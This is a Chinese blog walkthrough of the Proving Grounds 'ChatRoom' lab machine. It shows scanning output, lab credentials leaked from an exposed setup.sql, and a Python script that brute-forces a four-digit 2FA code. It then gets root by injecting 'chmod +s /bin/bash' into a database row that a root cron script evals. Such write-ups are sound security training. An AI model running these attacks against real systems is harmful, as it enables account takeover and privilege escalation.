首页 > 其他分享 >ChatRoom pg walkthrough Intermediate

ChatRoom pg walkthrough Intermediate

时间:2024-11-30 11:11:03浏览次数:8  
标签:25 00 16 280B 192.168 walkthrough Intermediate 403 pg

NMAP
┌──(root㉿kali)-[~/lab]
└─# nmap -p- -A 192.168.189.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 00:22 UTC
Nmap scan report for 192.168.189.110
Host is up (0.073s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Chat Room
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   72.32 ms 192.168.45.1
2   72.15 ms 192.168.45.254
3   73.03 ms 192.168.251.1
4   76.67 ms 192.168.189.110

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.45 seconds

只有22 和80 那看来突破口就是80了 访问80 发现是个登录界面尝试admin admin 发现登录不上 ![image](/i/l/?n=24&i=blog/3376478/202411/3376478-20241130082639392-1511921679.png)
dirsearch
[00:25:08] Starting: 
[00:25:16] 403 -  280B  - /.htaccess.bak1                                   
[00:25:16] 403 -  280B  - /.ht_wsr.txt                                      
[00:25:16] 403 -  280B  - /.htaccess.save                                   
[00:25:16] 403 -  280B  - /.htaccess.orig
[00:25:16] 403 -  280B  - /.htaccess.sample
[00:25:16] 403 -  280B  - /.htaccess_sc
[00:25:16] 403 -  280B  - /.htaccess_orig
[00:25:16] 403 -  280B  - /.htaccessBAK                                     
[00:25:16] 403 -  280B  - /.htaccessOLD2                                    
[00:25:16] 403 -  280B  - /.htaccess_extra                                  
[00:25:16] 403 -  280B  - /.htaccessOLD
[00:25:16] 403 -  280B  - /.htm
[00:25:16] 403 -  280B  - /.htpasswd_test                                   
[00:25:16] 403 -  280B  - /.htpasswds
[00:25:16] 403 -  280B  - /.html                                            
[00:25:16] 403 -  280B  - /.httr-oauth                                      
[00:25:17] 403 -  280B  - /.php                                             
[00:25:19] 301 -  315B  - /js  ->  http://192.168.189.110/js/               
[00:25:23] 302 -    0B  - /admin.php  ->  index.php                         
[00:25:34] 302 -    0B  - /chat.php  ->  index.php                          
[00:25:36] 301 -  316B  - /css  ->  http://192.168.189.110/css/             
[00:25:43] 301 -  319B  - /images  ->  http://192.168.189.110/images/       
[00:25:43] 200 -  457B  - /images/                                          
[00:25:45] 200 -  511B  - /js/                                              
[00:25:47] 302 -    0B  - /login.php  ->  index.php                         
[00:26:00] 403 -  280B  - /server-status                                    
[00:26:00] 403 -  280B  - /server-status/
[00:26:00] 200 -    2KB - /setup.sql               

发现了很有意思的文件 setup.sql

查看这个sql文件发现了许多密码和用户
CREATE TABLE users (
    id INTEGER PRIMARY KEY,
    username TEXT UNIQUE NOT NULL,
    password TEXT NOT NULL,
    is_admin INTEGER NOT NULL
);

CREATE TABLE password_resets (
    id INTEGER PRIMARY KEY,
    user_id INTEGER NOT NULL,
    token TEXT NOT NULL,
    FOREIGN KEY(user_id) REFERENCES users(id)
);

CREATE TABLE two_factor_tokens (
    id INTEGER PRIMARY KEY,
    user_id INTEGER NOT NULL,
    token TEXT NOT NULL,
    FOREIGN KEY(user_id) REFERENCES users(id)
);

CREATE TABLE comments (
    id INTEGER PRIMARY KEY,
    user TEXT NOT NULL,
    text TEXT NOT NULL,
    is_admin INTEGER NOT NULL
);

CREATE TABLE hooks (
    id INTEGER PRIMARY KEY,
    code TEXT,
    backup BOOLEAN NOT NULL DEFAULT 0
);

INSERT INTO users (username, password, is_admin) VALUES
('mrjones', 'L1k3ARo11!ngSt0ne', 0),
('louise', 'T@mb0ur1neMan1965', 0),
('johanna', 'H0wD0es1tFeel?', 0),
('ramona', 'T1mes@reCh@ng1ng', 0),
('maggie', 'L@yin+heW1nd$1963', 0),
('adm_robertz', 'J0k3r$Th1ef&Qeen', 1);

INSERT INTO comments (user, text, is_admin) VALUES
('mrjones', 'Hello everyone! Excited to be here.', 0),
('louise', 'Welcome, mrjones! This is a great place to learn.', 0),
('johanna', 'Does anyone know how to reset the password?', 0),
('ramona', 'Yes, johanna, you can go to the "Forgot Password" link on the login page.', 0),
('adm_robertz', 'Remember to follow the community guidelines. Happy chatting!', 1),
('maggie', 'Thanks for the reminder, adm_robertz!', 0),
('johanna', 'Got it, thanks ramona!', 0),
('louise', 'If anyone needs help, feel free to ask.', 0),
('mrjones', 'What are some good resources to start with?', 0);

INSERT INTO hooks (id, code, backup) VALUES (1, 'touch timestamp.txt', 0);

尝试用hydra直接ssh登录看看能不能登录上
image
发现不太行

那就登录web进去看看吧
('adm_robertz', 'J0k3r$Th1ef&Qeen', 1); 感觉这个用户应该是admin用户就先登录这个看看

我擦他还有二次验证
image

我们先不管这玩意 先尝试能不能访问到之前dirsearch扫到的页面
发现成功了
image

发现这里有个很有意思的东西 chat hooks 估计是聊天时会触发的命令
但问题又来了 我们好像没有他的二次验证码就登录不进去 就触发不了

又发现了一个比较有意思的地方
image
在忘记密码一栏输入用户名 他会返回一个token
没有用

直接爆破吧因为他是四位数的验证码
我们可以直接爆破

写了个简陋的脚本
import requests

for i in range(0,9000):
    code=1000

    cookies = {
        'PHPSESSID': 'jdcg3a4b8335ms7jkrqsm517i9',
    }

    headers = {
        'Host': '192.168.189.110',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        # 'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        # 'Content-Length': '12',
        'Origin': 'http://192.168.189.110',
        'Connection': 'close',
        'Referer': 'http://192.168.189.110/2fa.php',
        'Upgrade-Insecure-Requests': '1',
        # 'Cookie': 'PHPSESSID=jdcg3a4b8335ms7jkrqsm517i9',
    }

    data = '2fa_code='+str(code+i)

    response = requests.post('http://192.168.189.110/2fa.php', cookies=cookies, headers=headers, data=data, verify=False, allow_redirects=False)

    print(response.status_code)
    if(response.status_code==302 or response.status_code=="302"):
        print("code :::::::",code+i);
        break

image

然后登录成功
image
然后我们触发hooks

image
发现成功反弹shell

登录后发现有个用户dylan 而且又ssh 秘钥 我们直接利用该秘钥ssh登录该用户
image

查看定时任务发现可疑任务

点击查看代码
dylan@chatroom:/tmp$ cat /var/backups/backup.sh 
#!/bin/bash
BACKUP_SCRIPT="/var/backups/backup.sh"
CRON_FILE="/etc/cron.d/backup_cron"
BACKUP_DIR="/var/backups"
w="/var/www/html"
b="/var/backups"
mkdir -p $b
cp $w/chatroom.db $b/b.db

eQ="U0VMRUNUIGNvZGUgRlJPTSBob29rcyBXSEVSRSBiYWNrdXAgPSAxIEFORCAoaWQgSVMgTk9UIE5VTEwpIE9SREVSIEJZIGlkIERFU0MgTElNSVQgMTs="
c=$(echo "$eQ" | base64 --decode | sqlite3 $b/b.db)
ip4='\b((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\b'
ip6='\b([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}\b|\b([0-9a-fA-F]{1,4}:){1,7}:|\b:([0-9a-fA-F]{1,4}:){1,6}[0-9a-fA-F]{1,4}\b'
echo "$c" | grep -qE "$ip4|$ip6" || eval "$c"dylan@chatroom:/tmp$ 

base64解码看看这句话是啥意思
image
查看执行这条语句的查询结果 发现并没有符合条件的结果
image
同时我们发现
image
他有可能会直接eval c的内容
尝试插入恶意数据
image
发现这个db文件没有写入权限

再看看他的脚本 发现这个b.db 是复制 /var/www/html的 这就好办了 因为我们有 /var/www/html/backup.sh写入权限
image
插入恶意命令
echo "insert into hooks ('code','backup') values('chmod +s /bin/bash',1)" | sqlite3 /var/www/html/chatroom.db

等待定时任务执行
image

提权成功

标签:25,00,16,280B,192.168,walkthrough,Intermediate,403,pg
From: https://www.cnblogs.com/wssw/p/18578185

相关文章

  • Navicat-navicat15连接PG15数据库报错“字段“datlastsysoid“不存在LINE 1: SELECT D
    报错信息:错误:字段“datlastsysoid“不存在LINE1:SELECTDISTINCTdatlastsysoidFROMpgdatabase根因:Postgres15从pg_database表中删除了datlastsysoid字段引发此错误。解决方案:修改libcc.dll文件1、用在线工具hexed.it打开libcc.dll文件地址:https://hexed.it/如......
  • 基于FPGA的4ASK调制解调系统,包含testbench,高斯信道模块,误码率统计模块,可以设置不
    1.算法仿真效果        vivado2019.2仿真结果如下: 设置SNR=20db   设置SNR=15db   设置SNR=10db   2.算法涉及理论知识概要       在现代通信系统中,数字调制技术被广泛应用于无线通信、卫星通信以及有线通信等领域。其中,振幅键控(Ampl......
  • FPGA千兆网口学习
      学习FPGA过程中~,有挺多不会的地方,有指正的我一定耐心接受。我跟着小梅哥课程视频学的。 不论是再MCU还是FPGA中都涉及有以太网项目,以前学单片机以太网的时候是用的W5500的以太网模块,网上有挺多开源项目,加上商家给的例程结合结合,改一改就可以完成单片机的以太网项目,那时......
  • FPGA基础知识学习
     记录一下看《设计与验证VerilogHDL》的知识学习,我属于突然开始学,且得边学边用,所以基础知识并不会太多,大部分项目还是得靠找别人的代码去修改,所以开始看这本书进行基础知识学习,看到这本书是看野火的教程中推荐的书籍,所以买来看看verilg的基础语法一类。连续赋值语句assign......
  • 1分钟学会如何提升PCIe通信速率,基于RK3568J + FPGA国产平台!
    测试数据汇总表1 PCIe总线介绍PCIe,即PCI-Express(peripheralcomponentinterconnectexpress)是一种高速串行计算机扩展总线标准。主要用于扩充计算机系统总线数据吞吐量以及提高设备通信速度。图1 DMA技术介绍DMA(DirectMemoryAccess,直接内存访问)是一种让硬件外......
  • 高效安全迁移:PG高可用集群实战方案深度解析
    PostgreSQL是一个开源的数据库管理系统,相比于其他开源数据库系统,PostgreSQL有更加丰富的数据类型和可扩展性,并因此被广泛采用。在实际工作中,若企业业务需求变动,则有可能面临PG高可用集群迁移的情况。云掣具备丰富的帮助企业迁移数据平台的实战经验,提供专业的数据库运维托管服务,本......
  • BackupBuddy pg walkthrough Intermediate
    nmap┌──(root㉿kali)-[~/lab]└─#nmap-p--A192.168.189.43StartingNmap7.94SVN(https://nmap.org)at2024-11-2902:10UTCStats:0:00:17elapsed;0hostscompleted(1up),1undergoingSYNStealthScanSYNStealthScanTiming:About8.81%done;ETC......
  • Dibble pg walkthrough Intermediate
    nmap21/tcpopenftpvsftpd3.0.3|ftp-anon:AnonymousFTPloginallowed(FTPcode230)|_Can'tgetdirectorylisting:TIMEOUT|ftp-syst:|STAT:|FTPserverstatus:|Connectedto192.168.45.250|Loggedinasftp|TYP......
  • 基于 FPGA 的 AD9910 + ADF4351 扫频信号发射平台设计方案
    基于FPGA的AD9910+ADF4351扫频信号发射平台设计方案概要本文介绍一种基于FPGA的扫频信号发射系统设计方案,采用AD9910作为主扫频信号产生器,并利用ADF4351提供可控的混频信号,通过两者的协同工作实现宽频带、高分辨率的扫频信号输出。系统结合FPGA的强大逻辑控......
  • Spaghetti pg walkthrough Intermediate
    nmap┌──(root㉿kali)-[~]└─#nmap-p--A192.168.170.160StartingNmap7.94SVN(https://nmap.org)at2024-11-2704:45UTCNmapscanreportfor192.168.170.160Hostisup(0.072slatency).Notshown:65530closedtcpports(reset)PORTSTATESERVIC......